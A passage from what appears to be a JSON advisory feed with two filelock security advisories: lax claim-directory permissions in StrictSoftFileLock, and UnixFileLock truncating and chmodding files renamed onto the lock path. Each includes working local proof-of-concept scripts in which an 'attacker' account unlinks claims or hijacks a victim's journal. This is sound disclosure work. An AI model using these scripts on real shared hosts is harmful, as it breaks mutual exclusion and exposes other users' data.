`<path>`) and to both claim files (the files whose presence says a process wants or holds the lock). They create the two directories that hold the claims, `<path>.filelock` and `<path>.filelock/claims`, with a bare `mkdir()`. That gives `0o777` filtered through the umask (a per-process mask that removes permission bits from new files and directories) or, under a parent with a default ACL (an access control list on a directory that sets the permissions of entries created inside it), through that ACL.\n\nA hold consists of two claim names in that directory, which has no sticky bit (a directory flag that lets only a file's owner remove it). When the environment leaves another local user (the other user below) a write bit on the directory, that user can unlink the holder's `0600` claims. Three settings do this: umask `000` in a sticky directory such as `/tmp`, umask `002` with the other user in the directory's group, or a default ACL on the lock's parent that grants the group write (the kernel then ignores the umask). After the unlink, the next contender of the holder's account finds the directory empty and enters. The first holder keeps reporting `is_locked == True` and later releases with no error. Affected versions: filelock >= 3.30.0 and <= 4.2.0 (finding `ANT-2026-AD6SUOON`).\n\n## Severity\n\n**CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L, 5.3 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `AC:H` (high attack complexity): the holder must pass a restrictive `mode` while its umask or the parent's default ACL leaves the other user a write bit on new directories, and a contender of the holder's account must ask for the lock after the claims are gone. With the common umask `022` and no default ACL the directories are `0755`, and the kernel refuses the other user's unlink. `PR:L` (low privileges): an unprivileged account is enough. `UI:N` (no user interaction): the holder's processes act on their own.\n\n`C:N` (no confidentiality impact): the `0600` claim files stay unreadable. `I:H` (high integrity impact): two holders then write the data the lock protects, and neither learns of the other. `A:L` (low availability impact): the same write access lets the other user create names in `claims`, and an empty file named `held-v1-<32 zeros>.claim` makes the next `acquire()` raise `SoftFileLockProtocolError` (\"malformed claim record\") until someone removes it. Classification from the review: security, conditional on a lax umask or a permissive default ACL. The scanner rated it high (CWE-732).\n\n## Scope and preconditions\n\n- The holder passes a restrictive `mode` such as `0o600`. Without one, the umask decides the permissions by documented design (the \"File permissions and mode\" section of `docs/concepts.rst` defines `mode` only for the lock file). Umask `000` with the default mode gives the same two-holder result but is outside this finding.\n- The holder's environment leaves the other user a write bit on new directories. The scanner measured three ways, with `mode=0o600` and the other user a member of group `team`:\n\n  | lock's parent directory | holder's umask | `<path>.filelock` and `claims/` | who can unlink the claims |\n  |---|---|---|---|\n  | `1777`, like `/tmp` | `000` | `0777` | any other local user |\n  | `root:team`, `3775` (setgid, so new entries inherit the group, and sticky) | `002` | `2775` | any member of `team` |\n  | `root:team`, `1770`, default ACL `group:team:rwx` (`setfacl -d -m g:team:rwx`) | `077` | `0770` | any member of `team` |\n  | `root:team`, `3775`, no ACL | `022` | `2755` | no one; the second process times out |\n\n  The default-ACL row is the strongest. A holder with a private umask and `mode=0o600` still gets group-writable claim directories. The lock file in that row is `0600`, because its mode reaches `os.open` and masks the inherited ACL.\n- A contender that may enter asks for the lock: another process of the holder's account, or root. Nothing needs planting beforehand. The holder creates and owns the whole tree, so the existing-directory branch of `_ensure_protocol_directory` (the subject of GHSA-9c4x-gm8v-wgc4) plays no part.\n- Directories that an affected release already created keep their mode. A `0777` `<path>.filelock` from an earlier run stays writable by other users after an upgrade, because filelock does not remove these directories. Upgraders should `chmod` or remove existing `<path>.filelock` trees (see Workarounds).\n- The other lock classes do not have this gap in the same setting. With umask `000` and `mode=0o600`, `FileLock` and `SoftFileLock` create one `0600` file and nothing else, and `SoftReadWriteLock` creates its directories `0700` under any umask. Platform: POSIX permission semantics; demonstrated on Linux.\n\nfilelock's checks against another local user hold only when no other user can replace the lock's directory or any of its ancestors. That is the case when each ancestor belongs to the lock's user or root and is either not writable by others or sticky. A user who can rename entries in a non-sticky directory above the lock controls every name below it. No file-based lock can defend against that.\n\n## Affected code\n\nAt the scanned commit b831496, the bare `mkdir()` sits in [`_ensure_protocol_directory`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L996-L998). [`StrictSoftFileLock._acquire`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L127-L133) calls it for both levels without a mode. It then passes `self._open_mode()` to the sentinel and, through [`_attempt_doorway`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L179-L181), to both claim files. The doorway (the acquire step that scans existing claims and publishes the caller's own) proceeds when the claim scan is empty. [`_unlink_owner_path_result`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_strict.py#L896-L900) counts a missing claim name as removed on release.\n\n## Introduced\n\nThe bare `mkdir()` arrived with the claim directories in 650c17c79c54 (\"feat(strict): replace shared markers with owner claims\", #659, 2026-07-14), first released in 3.30.0. We checked this against the git tags. Every release since 3.30.0 has it.\n\n## Mechanism\n\nA process with umask `000` that takes `StrictSoftFileLock(\"/tmp/<dir>/x.lock\", mode=0o600)` leaves this on disk while it holds the lock, every entry owned by the holder:\n\n```\n0600 x.lock\n0777 x.lock.filelock\n0777 x.lock.filelock/claims\n0600 x.lock.filelock/claims/held-v1-<token>.claim\n0600 x.lock.filelock/claims/intent-v1-<token>.claim\n```\n\nRemoving a name needs write permission on the directory, and these directories are not sticky. Another local user who cannot read either claim can therefore unlink both. Renaming `claims/` away inside the `0777` `<path>.filelock` has the same effect. For this lock class the directory permissions decide who can end a hold. The sentinel at `<path>` is permanent and says nothing about who holds. A contender starts its doorway by listing the claim directory and proceeds when it is empty. Once the two names are gone, the next contender publishes its own intent and held claims and enters. The original holder does not notice. `is_locked` is its own counter, and `_release` removes its claims by name through `_unlink_owner_path_result`, which takes `FileNotFoundError` as \"already removed\". The first process therefore releases with exit status 0. No `force_break()`, lifetime or legacy client takes part.\n\nThe other user's action is a plain `unlink`. The right to do it comes from filelock's `mkdir`, not from anything the application asked for. In the same setting the other user can neither read nor remove the `0600` sentinel in the sticky parent. With the common umask `022` and no default ACL the directories are `0755`. Other users can then list the claim names, which `mode=0o600` does not suggest either, but cannot remove them, and the second process times out.\n\n## Reproduction\n\nThe scanner's reproducer for finding `ANT-2026-AD6SUOON`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport pwd\nimport shutil\nimport stat\nimport subprocess\nimport sys\nimport tempfile\n\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": [], \"text\": True}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": [], \"text\": True}\n\n\ndef start_victim_service(lock_path, umask):\n    command = [sys.executable, \"/tmp/repro.d/victim_service.py\", lock_path]\n    return subprocess.Popen(command, stdin=subprocess.PIPE, stdout=subprocess.PIPE, umask=umask, **AS_VICTIM)\n\n\ndef hold_lock_while_attacker_strikes(label, shared, victim_umask):\n    lock_path = f\"{shared}/umask{victim_umask:03o}.lock\"\n    claims = f\"{lock_path}.filelock/claims\"\n\n    first = start_victim_service(lock_path, victim_umask)\n    assert first.stdout.readline() == \"entered\\n\"\n    claim_files = [f\"{claims}/{name}\" for name in sorted(os.listdir(claims))]\n    for path in (lock_path, f\"{lock_path}.filelock\", claims, *claim_files):\n        status = os.lstat(path)\n        owner = pwd.getpwuid(status.st_uid).pw_name\n        print(f\"{label}: {stat.S_IMODE(status.st_mode):04o} {owner} {os.path.relpath(path, shared)}\")\n\n    # attack, while the first victim process is inside its critical section\n    attacker = subprocess.run(\n        [sys.executable, \"/tmp/repro.d/attacker_remove_claims.py\", lock_path],\n        stdout=subprocess.PIPE,\n        check=True,\n        **AS_ATTACKER,\n    )\n    for line in attacker.stdout.splitlines():\n        print(f\"{label}: attacker: {line}\")\n    claims_left = len(os.listdir(claims))\n    print(f\"{label}: claims left: {claims_left}\")\n\n    second = start_victim_service(lock_path, victim_umask)\n    second_says = second.stdout.readline().strip()\n    # the first is told to leave only after the second has answered, so an \"entered\" means both were inside at once\n    first_says = first.communicate(\"leave\\n\")[0].strip()\n    second.communicate(\"leave\\n\")\n    print(f\"{label}: second process: {second_says}\")\n    print(f\"{label}: first process, asked afterwards: {first_says}, exit status {first.returncode}\")\n\n    both_inside = second_says == \"entered\" and first_says == \"leaving, is_locked=True\" and first.returncode == 0\n    return claims_left, both_inside\n\n\n# set up: a shared directory like /tmp, sticky and writable by everyone\nshared = tempfile.mkdtemp(prefix=\"strict-mode-\", dir=\"/tmp\")\nos.chmod(shared, 0o1777)\n\n# the two rounds differ only in the umask the victim's processes run with\ncontrol_claims_left, control_both_inside = hold_lock_while_attacker_strikes(\"CONTROL umask 022\", shared, 0o022)\nattack_claims_left, attack_both_inside = hold_lock_while_attacker_strikes(\"OBSERVED umask 000\", shared, 0o000)\nshutil.rmtree(shared)\n\n# check: with mode=0o600, another user must not be able to let a second process in beside the first\nprint(f\"CONTROL two holders at once: {control_both_inside}\")\nprint(f\"OBSERVED two holders at once: {attack_both_inside}\")\ncontrol_excludes = control_claims_left == 2 and not control_both_inside\nprint(\"BUG\" if control_excludes and attack_claims_left == 0 and attack_both_inside else \"OK\")\n```\n\n**`repro.d/attacker_remove_claims.py`**\n\n```python\nimport os\nimport sys\n\nclaims = f\"{sys.argv[1]}.filelock/claims\"\ntry:\n    names = sorted(os.listdir(claims))\nexcept PermissionError:\n    print(\"listing denied\")\n    names = []\n\nfor name in names:\n    try:\n        os.unlink(f\"{claims}/{name}\")\n        print(f\"unlinked {name}\")\n    except PermissionError:\n        print(f\"unlink denied {name}\")\n```\n\n**`repro.d/victim_service.py`**\n\n```python\nimport sys\n\nfrom filelock import StrictSoftFileLock, Timeout\n\nlock = StrictSoftFileLock(sys.argv[1], mode=0o600)\ntry:\n    with lock.acquire(timeout=2):\n        print(\"entered\", flush=True)\n        sys.stdin.readline()  # stay in the critical section until told to leave\n        print(f\"leaving, is_locked={lock.is_locked}\", flush=True)\nexcept Timeout:\n    print(\"Timeout\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant H as holder (umask 000, mode=0o600)\n    participant D as x.lock.filelock/claims\n    participant X as other local user\n    participant C as contender (same account as the holder)\n    H->>D: mkdir() both directories: 0777, claims 0600\n    H->>D: publish intent and held claims, enter\n    X->>D: read claim: EACCES (0600)\n    rect rgb(255, 214, 214)\n        X->>D: unlink both claims (directory is 0777, not sticky)\n        C->>D: acquire(): scan finds no claims, publishes, enters\n        Note over H,C: both inside at once\n        H->>D: release(): claims missing, counted as removed, exit status 0\n    end\n    Note over H,D: control under umask 022: directories 0755, unlink denied, contender raises Timeout\n```\n\n## Evidence\n\nThe scanner's reproducer runs the holder's `StrictSoftFileLock(path, mode=0o600)` with `timeout=2` as account `victim` (uid 1000) and the unlink loop as account `attacker` (uid 1001). Both run in a fresh root-owned `1777` directory under `/tmp`, at commit b831496 on Linux 6.1 (overlayfs), CPython 3.14.8. Two rounds differ only in the umask the holder's processes start with.\n\nUnder `CONTROL umask 022`, the directories are `0755`, the kernel denies the unlinks, both claims remain, and the second process prints `Timeout`. Under `OBSERVED umask 000`, every file is still `0600` but `<path>.filelock` and `claims/` are `0777`. The other account prints `unlinked held-v1-<token>.claim` and `unlinked intent-v1-<token>.claim` followed by `claims left: 0`. The second process prints `entered`. The first process prints `leaving, is_locked=True, exit status 0` when asked afterwards. The verdict lines read `CONTROL two holders at once: False` and `OBSERVED two holders at once: True`; the overall verdict is `BUG`. The scanner ran the umask `002` and default-ACL rows of the table by hand at the same commit with the same result.\n\nOur review ran the reproducer against the 4.2.0 release image and the scanned commit (`BUG` on both) and against the head of #839 (`OK`). The review's regression test covers the owner, group-read and group-write modes.\n\n## Impact\n\nAnother local user who gets a write bit on the claim directories ends a live `StrictSoftFileLock` hold. A second honest process of the holder's account then enters the critical section beside the first. Neither holder receives any signal. This is the overlap the strict lock's fail-closed contract exists to rule out. The same write access lets the other user deny the lock by planting a malformed claim name. This does not disclose the claims' contents (the `0600` claim files stay unreadable), and it does not affect holders whose directories came out `0755` or tighter.\n\n## Workarounds\n\nRun processes that take strict locks with umask `022` or `077`. Do not put a default ACL that grants other accounts write on the lock's parent directory; where you intend group sharing, trust every member of that group with the lock. Keep strict locks in a directory other users cannot write. For paths already in use, `chmod 700` (or remove, while no process holds the lock) every existing `<path>.filelock` tree. Its mode comes from creation time and nothing changes it afterwards: `find <dir> -maxdepth 1 -type d -name '*.filelock' -exec chmod -R go-w {} +`.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/839\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-AD6SUOON`, scanned commit b831496b0273)\n- 2026-10-16 01:31 UTC: fix PR #839 opened\n- 2026-10-16 05:39 UTC: draft advisory created (first as part of GHSA-9c4x-gm8v-wgc4, then split into this advisory)","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:L"}],"references":[{"type":"WEB","url":"https://github.com/tox-dev/filelock/security/advisories/GHSA-6627-m3xw-93mp"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/pull/839"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/commit/bfa066d65a1ba9106f86ee9d027f7588b9c77e03"},{"type":"PACKAGE","url":"https://github.com/tox-dev/filelock"},{"type":"WEB","url":"https://github.com/tox-dev/filelock/releases/tag/4.2.1"}]},{"schema_version":"1.7.3","id":"BREW-apm-CVE-2026-112909","published":"2026-10-29T21:30:32Z","modified":"2026-11-14T08:38:10Z","upstream":["GHSA-69hj-f68j-2879","CVE-2026-112909"],"affected":[{"package":{"ecosystem":"Homebrew","name":"apm","purl":"pkg:brew/apm"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.26.0"},{"fixed":"0.34.0"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"4.2.1","resource":"filelock","resource_purl":"pkg:pypi/filelock@4.2.10"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"filelock","subject_version":"4.2.10","key":"pkg:pypi/filelock@4.2.10","resource":"filelock"}]},"summary":"filelock: UnixFileLock truncates and chmods any regular file another user renames or hard-links onto the lock path","details":"`UnixFileLock`, the backend of `FileLock` and `AsyncFileLock` on Unix, empties whatever regular file it finds at the lock path once it holds the `flock` (a kernel lock on an open file). With an explicit `mode` it also chmods that file (sets its permission bits), whether or not this acquire created it. Another local user who can rename or hard-link one of the files of the user running the lock (below: the lock user) onto the lock path gets that file truncated by the lock user's next `acquire()`. A hard link is a second name for the same file. With a mode such as `0o666` the file, still owned by the lock user, also becomes readable and writable by that other user. The other user can then read and alter everything the lock user writes to it afterwards.\n\n`O_NOFOLLOW`, the defence added for the symlink variant (CVE-2025-68146), does not see a renamed file or a hard link. The rename route needs the file's directory to be writable without the sticky bit (a directory flag that lets only a file's owner remove or rename it). The hard-link route into a sticky directory such as `/tmp` needs `fs.protected_hardlinks=0`, a Linux kernel setting. Affected versions are every filelock release up to and including 4.2.0 (the truncation is as old as the project; the chmod since 3.10.2).\n\nAnthropic's OSS Scanner reported this in private. Finding covered by this advisory:\n\n- `ANT-2026-KO573NWI` [high, CWE-706]: UnixFileLock truncates and chmods victim files renamed onto the lock path.\n\n## Severity\n\n**CVSS 3.1 `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N` scores 6.1 (Medium).**\n\n`AV:L` (local): the other user needs an account on the same host. `PR:L` (low privileges): an ordinary account is enough. `UI:N` (no user interaction). `AC:L` (low attack complexity): one rename or link, then wait for the lock user's next acquire; no race. `I:H` (high integrity impact): the lock user's own process truncates a file it did not mean to touch, including content behind a second name the other user could neither modify nor delete. With a permissive explicit `mode` the other user can then write to it. If that file is one the lock user later executes or trusts, that is code execution as the lock user. `C:L` (partial confidentiality impact): the old content is gone before the other user can read anything, but what the lock user writes afterwards through a descriptor (the number the kernel gives a process for an open file) it still holds is readable. `A:N` (no availability impact). `S:U` (scope unchanged).\n\nClassification from the review: **security, conditional** on another user controlling names in a non-sticky directory on the lock's filesystem (or on `fs.protected_hardlinks=0`). The scanner rated this high. The maintainers score it medium because the reachable targets depend on the directory layout and kernel settings described below.\n\n## Scope and preconditions\n\n- Lock classes: `FileLock` and `AsyncFileLock` on Unix (`UnixFileLock`). `SoftFileLock` applies an explicit mode only to a file it created with `O_CREAT | O_EXCL` and does not truncate an existing file. `WindowsFileLock` has not truncated at any version.\n- The other user must put a regular file of the lock user at the lock path before the lock user's next acquire, while the lock file does not exist yet. That is the case on first use, after a reboot, after a `/tmp` cleaner, or after a release with the default `preserve_lock_file=False`, which unlinks the file. The scanner checked three ways at the scanned commit, with default kernel settings unless stated:\n  - rename inside a directory without the sticky bit (a group-writable project or cache directory, a root-created `0777` directory);\n  - rename from such a directory into a sticky one (`1777`) on the same filesystem. The sticky bit only protects entries that already exist, so the move succeeds while the lock path is free. Once the lock user's lock file exists there, the same move fails with `EPERM`;\n  - `link(2)` into a sticky directory. This needs a system that lets a user hard-link a file it cannot write, which on Linux means `fs.protected_hardlinks=0`. Mainstream distributions set 1, which refuses the link. The scanner did not test macOS or the BSDs.\n- What the lock user loses: with the default `FileLock(path)` the lock truncates the file, which keeps its mode. With an explicit `mode` (a lock shared between users needs `0o666` or `0o660`, because `UnixFileLock` opens the file read-write), the lock also chmods the file to that mode. `_apply_explicit_mode` suppresses `PermissionError` only for files the lock user does not own. The lock user owns its own files, so the `fchmod` succeeds.\n- Trust boundary: the protection against another local user holds only when no other user can rename entries in the lock's directory or, for the rename-into-sticky route, in any directory on the same filesystem that holds a file of the lock user. A user who can rename entries in a non-sticky directory above the lock controls every name below it, which no file-based lock can defend against.\n- Not affected: a symlink (a file that points at another path) at the lock path, because `O_NOFOLLOW` makes the open fail with `ELOOP`; mutual exclusion between cooperating processes.\n\n## Affected code\n\nScanned commit `b831496b0273`: [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L144-L163), whose [`os.ftruncate` and `_apply_explicit_mode` calls](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) have only the `st_nlink != 0` guard (the file still has at least one name); [`_apply_explicit_mode`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L165-L168); [`_open_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L95-L121), which learns from its `O_EXCL` create whether this attempt made the file but hands that flag only to the `ENOSYS` fallback.\n\n## Introduced\n\nThe truncation of whatever is at the lock path dates from the initial commit ([2157efb](https://github.com/tox-dev/filelock/commit/2157efb8b57666699fcf15bf03c3771c1571279c), which opened with `O_TRUNC`). The chmod of a pre-existing inode (the kernel's identity for a file, independent of its name) came with [d7e1e84](https://github.com/tox-dev/filelock/commit/d7e1e84e71ad) \"changed from os.umask to os.chmod\" ([#206](https://github.com/tox-dev/filelock/pull/206), 2023-03-22), first tag 3.10.2 (verified with `git tag --contains`). Before it the code passed the mode only to `open()`, which applies it to a file this call creates. The advisory range is therefore every release up to 4.2.0. The earlier group range `>= 3.10.0` understated it, as the review noted.\n\n## Mechanism\n\n`_open_lock_file` first tries `os.open(path, O_RDWR | O_NOFOLLOW | O_CREAT | O_EXCL, mode)`. With the lock user's file renamed to the lock path that fails with `FileExistsError`. The second `os.open(path, O_RDWR | O_NOFOLLOW)` succeeds, because the entry is a regular file the lock user owns, and returns `created = False`. `_acquire_native` passes `created` only to the `ENOSYS` branch. No process holds a `flock` on the renamed file, so `_lock_fd_nonblocking(fd)` succeeds at once and `_finalize_locked_fd(fd)` runs: `os.fstat`, `st_nlink != 0`, `os.ftruncate(fd, 0)`, then `os.fchmod(fd, mode)` when the lock has an explicit mode. Nothing in that path tells a lock file from any other regular file; a link count of 2 and a non-empty file both pass. `O_NOFOLLOW` does not help because the entry is the file itself (or a hard link, an ordinary directory entry for the same inode), not a symlink to it. There is no race: the other user renames or links once and waits for the next acquire. `AsyncUnixFileLock` inherits `_finalize_locked_fd` unchanged.\n\nThe scanner measured three variants at the same commit, same accounts (`victim` uid 1000, `attacker` uid 1001). First, a rename within a `0777` directory: the next `FileLock(\"jobs.lock\", mode=0o666)` of `victim` empties the `0600` journal of `victim` renamed to `jobs.lock` and sets it to `0666`; `attacker` then reads what `victim` keeps writing through its open descriptor. Second, a rename of a two-name file (`ln /tmp/cache/blob ~/env/blob`, `0644`) from a `0777` directory, `fs.protected_hardlinks=1`: after `mv /tmp/cache/blob /tmp/cache/app.lock` and `FileLock(\"/tmp/cache/app.lock\", mode=0o666)` as `victim`, `~/env/blob` has `2 links, mode 666, 0 bytes` and `echo pwned >> /home/victim/env/blob` as `attacker` succeeds, in a directory `attacker` cannot write. Third, `os.link(notes, lock_path)` in a `1777` directory with `fs.protected_hardlinks=0`: `notes.txt` (`0644`, in the home of `victim`) ends up 0 bytes with mode `0666`, and `open(notes, \"w\")` as `attacker` then succeeds. With plain `FileLock(lock_path)` a `0600` file ends up empty with its mode unchanged. The planted name stays after release, so every later acquire truncates the file again.\n\n## Reproduction\n\nThe scanner's reproducer for `ANT-2026-KO573NWI`, quoted as received. It ran against commit `b831496b0273`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport secrets\nimport shutil\nimport stat\nimport subprocess\nimport sys\n\n# set up: a directory every user may write, without the sticky bit\nshared = \"/tmp/renamed-lock-file-demo\"\nshutil.rmtree(shared, ignore_errors=True)\nos.mkdir(shared)\nos.chmod(shared, 0o777)\njournal = f\"{shared}/victim-journal.log\"\nlock_path = f\"{shared}/jobs.lock\"\n\nvictim = subprocess.Popen(\n    [\"runuser\", \"-u\", \"victim\", \"--\", sys.executable, \"/tmp/repro.d/victim_job_runner.py\", shared],\n    stdin=subprocess.PIPE,\n    stdout=subprocess.PIPE,\n    text=True,\n)\n\n\ndef victim_runs(job):\n    victim.stdin.write(job + \"\\n\")\n    victim.stdin.flush()\n    assert victim.stdout.readline() == \"done\\n\"\n\n\ndef as_attacker(script, argument):\n    command = [\"runuser\", \"-u\", \"attacker\", \"--\", sys.executable, f\"/tmp/repro.d/{script}\", argument]\n    return subprocess.run(command, capture_output=True, text=True, check=True).stdout\n\n\n# before the attack: one job leaves the lock file and a 0600 journal with one line in it\nvictim_runs(\"job 1\")\njournal_before = os.stat(journal)\njournal_content_before = open(journal).read()\nattacker_read_before = as_attacker(\"attacker_read_file.py\", journal)\nprint(\n    f\"CONTROL  journal: inode {journal_before.st_ino}, uid {journal_before.st_uid}, \"\n    f\"mode {stat.S_IMODE(journal_before.st_mode):o}, content {journal_content_before!r}\"\n)\nprint(f\"CONTROL  attacker reads the journal: {attacker_read_before!r}\")\n\n# attack\nas_attacker(\"attacker_rename_journal.py\", shared)\n\n# the victim takes its lock again, then notes a secret in its journal through the descriptor it holds\nsecret = secrets.token_hex(8)\nvictim_runs(f\"job 2 {secret}\")\nvictim.stdin.close()\nvictim.wait()\n\n# check: the victim's private journal must not be emptied, widened to 0666, or readable by the attacker\nlock_after = os.stat(lock_path)\nlock_content_after = open(lock_path).read()\nattacker_read_after = as_attacker(\"attacker_read_file.py\", lock_path)\nprint(\n    f\"OBSERVED lock path: inode {lock_after.st_ino}, uid {lock_after.st_uid}, \"\n    f\"mode {stat.S_IMODE(lock_after.st_mode):o}, content {lock_content_after!r}\"\n)\nprint(f\"OBSERVED attacker reads the lock path: {attacker_read_after!r}\")\n\nattacker_was_denied = attacker_read_before == \"permission denied\\n\"\nlock_path_is_the_journal = (lock_after.st_dev, lock_after.st_ino) == (journal_before.st_dev, journal_before.st_ino)\njournal_was_emptied = \"job 1\" in journal_content_before and \"job 1\" not in lock_content_after\njournal_was_widened = stat.S_IMODE(journal_before.st_mode) == 0o600 and stat.S_IMODE(lock_after.st_mode) == 0o666\nattacker_reads_the_secret = secret in attacker_read_after\nbug = (\n    attacker_was_denied\n    and lock_path_is_the_journal\n    and journal_was_emptied\n    and journal_was_widened\n    and attacker_reads_the_secret\n)\nprint(\"BUG\" if bug else \"OK\")\n```\n\n**`repro.d/attacker_read_file.py`**\n\n```python\nimport sys\n\ntry:\n    print(open(sys.argv[1]).read(), end=\"\")\nexcept PermissionError:\n    print(\"permission denied\")\n```\n\n**`repro.d/attacker_rename_journal.py`**\n\n```python\nimport os\nimport sys\n\nshared_directory = sys.argv[1]\n\n# needs only write access to the directory: no sticky bit, so any user may rename any entry in it\nos.rename(f\"{shared_directory}/victim-journal.log\", f\"{shared_directory}/jobs.lock\")\n```\n\n**`repro.d/victim_job_runner.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import FileLock\n\nshared_directory = sys.argv[1]\n\njournal_fd = os.open(f\"{shared_directory}/victim-journal.log\", os.O_WRONLY | os.O_CREAT | os.O_APPEND, 0o600)\n# UnixFileLock opens the lock file O_RDWR, so a lock that other users of the directory also take needs mode=0o666\nlock = FileLock(f\"{shared_directory}/jobs.lock\", mode=0o666, timeout=5)\n\nfor job in sys.stdin:\n    with lock:\n        os.write(journal_fd, f\"ran {job}\".encode())\n    print(\"done\", flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant A as other account\n    participant D as shared directory (writable, not sticky)\n    participant V as lock user: FileLock(\"jobs.lock\", mode=0o666)\n    participant K as kernel\n    Note over V,D: victim-journal.log, owner victim, mode 0600 (the other account cannot read it)\n    A->>D: mv victim-journal.log jobs.lock (one rename, no race)\n    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW|O_CREAT|O_EXCL) -> EEXIST\n    V->>K: open(jobs.lock, O_RDWR|O_NOFOLLOW) -> fd (regular file, created=False)\n    V->>K: flock(fd, LOCK_EX|LOCK_NB) -> ok (no holder)\n    rect rgb(255, 214, 214)\n        V->>K: fstat(fd), st_nlink != 0\n        V->>K: ftruncate(fd, 0)\n        V->>K: fchmod(fd, 0o666)\n        Note over V,K: the journal's inode is now empty and world read-write, still owned by victim\n    end\n    V->>K: write(\"ran job 2 <secret>\") through the journal descriptor it still holds\n    A->>D: read jobs.lock -> \"ran job 2 <secret>\"\n```\n\n## Evidence\n\nThe scanner reproducer (`victim` and `attacker` accounts, root-created `0777` directory without the sticky bit under `/tmp`, default sysctls, Linux 6.1, CPython 3.14.8, overlayfs; lock `FileLock(path, mode=0o666, timeout=5)`). It printed `CONTROL journal: inode 296383, uid 1000, mode 600, content 'ran job 1\\n'` and `CONTROL attacker reads the journal: 'permission denied\\n'`. After the rename and the second job of `victim` it printed `OBSERVED lock path: inode 296383, uid 1000, mode 666, content 'ran job 2 f4bc9a4e04c3f556\\n'` and `OBSERVED attacker reads the lock path: 'ran job 2 f4bc9a4e04c3f556\\n'`, last line `BUG`. The verdict requires that the earlier read by `attacker` failed, that the lock path is the journal's inode, that the old line is gone, that the mode went from `0600` to `0666`, and that the later read by `attacker` contains the secret. It runs in under a second with no race. The scanner ran the two-name and `link(2)` variants above by hand at the same commit (commands and results in its report), not through the script.\n\nMaintainer triage: the reproducer prints `BUG` on the scanned commit `b831496` and on the 4.2.0 release image. The independent review (`soft-open`) confirmed the mechanism and that the hard-link and two-name variants go through the same two calls.\n\n## Impact\n\nThe file's content is lost in every configuration, including for processes that hold the file open and under every other name the file has. With an explicit permissive `mode`, the other user can read and modify everything the lock user writes afterwards, while the file still belongs to the lock user. The other user can rename the file back to its old name after the acquire. It stays there with the lock's mode, and the lock user's next acquire creates a fresh lock file.\n\nSomebody who may rename a single-name file may also unlink it, so losing such a file under its name is not new. What the lock adds are two operations on the inode that the other user cannot perform, `ftruncate` and `fchmod`, run with the lock user's privileges. Those matter for a descriptor the lock user still holds, for a second name of the file, and for programs that trust the file's ownership. The other user does not choose the mode, and the lock user writes no bytes the other user chose. Mutual exclusion is not affected.\n\n## Workarounds\n\n- Keep the lock file in a directory no other account can write, or in a sticky directory on a filesystem where no directory holding the lock user's files is writable by others. On Linux keep `fs.protected_hardlinks=1` (the default on mainstream distributions), which closes the hard-link route.\n- Do not pass a permissive explicit `mode` (`0o666`, `0o660`, `0o644`) unless accounts share the lock; without a mode the exposure is the truncation only.\n- Keep the lock file in place (`preserve_lock_file=True`). Once a lock file owned by the lock user exists in a sticky directory, another user cannot rename or link over it.\n- Where the lock does not need `flock` semantics, `SoftFileLock` applies its mode only to the marker it created with `O_EXCL` and does not truncate an existing file.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/835\n\n## Credits\n\nReported by Anthropic's OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (36 findings; this one rated high by the scanner)\n- 2026-10-16 00:46 UTC: draft advisory created (first as a group of four findings, then narrowed to `ANT-2026-KO573NWI`; the other three security findings have their own advisories)\n- 2026-10-16 01:16 UTC: fix PR #835 